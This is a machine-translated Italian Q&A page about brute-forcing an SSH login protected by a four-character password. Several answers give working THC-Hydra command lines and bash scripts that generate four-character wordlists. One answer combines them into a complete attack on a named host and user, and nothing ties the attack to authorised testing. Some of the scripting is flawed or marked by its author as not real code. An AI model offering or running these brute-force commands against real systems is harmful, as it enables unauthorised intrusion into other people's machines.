it-swarm.dev

Forza bruta un accesso SSH che ha solo una password di 4 lettere

Supponiamo che tu sappia che un determinato computer è protetto solo da una password così breve, quindi potresti semplicemente provare ogni possibile combinazione.

Come sarebbe uno script che prova a decifrare quella password?

Qualcosa di simile a

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh [email protected] pipe password $i here; 
done

(Lo so, questo non è un buon esempio ma le mie abilità bash non sono ancora così buone)

6
rubo77

hydra può generare le password per te. Non è necessario generarli separatamente se si utilizza la forza bruta:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V significa verboso, -x 4:4:aA1 significa che min è 4 lettere, max è 4 lettere. L'elenco delle lettere è a-z indicato da a, A-Z indicato da A, 0-9 indicato da 1. È possibile aggiungere altri caratteri come %_-+/

Devi aggiungere apostrofi intorno all'opzione -x se aggiungi caratteri speciali come spazio, ^, &, * o ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
17
GMaster

Mentre potresti usare un linguaggio di scripting generico come bash per questo, potresti ottenere risultati migliori con uno strumento di sicurezza incentrato sul test di attacchi di forza bruta come THC-Hydra da una prospettiva di velocità comunque.

11
Rory McCune

quindi questa è la conclusione:

nano /tmp/create_wordlist_case_sensitive.sh

#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    

bash /tmp/create_wordlist_case_sensitive.sh >/tmp/Word_list_long.txt

hydra -l john -P /tmp/Word_list_long.txt attack_Host ssh
1
rubo77

qui ci sono due script bash per generare un elenco di tutte le possibili combinazioni di quattro lettere. il primo fornisce solo combinazioni minuscole (create_wordlist_case_insensitive.sh), mentre il secondo fornisce tutte le combinazioni di lettere maiuscole e minuscole (create_wordlist_case_sensitive.sh).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

usali per creare i tuoi file di elenchi di parole come questo:

$ create_wordlist_case_insensitive.sh >Word_list_short.txt
$ create_wordlist_case_sensitive.sh >Word_list_long.txt

quindi il tuo script può scorrere attraverso qualsiasi file che ti serve in questo modo:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh [email protected] --password "$line" ## NOT REAL CODE
 done < Word_list_short.txt

tranne che questo codice non funzionerà davvero, bc ssh non accetta una password come argomento.

dovresti automatizzare quel segmento di codice con expect, ma non entrerò nel modo di farlo qui. in alternativa, suppongo che potresti usare un comando diverso che accetta una password come argomento, come telnet.

0
nullrevolution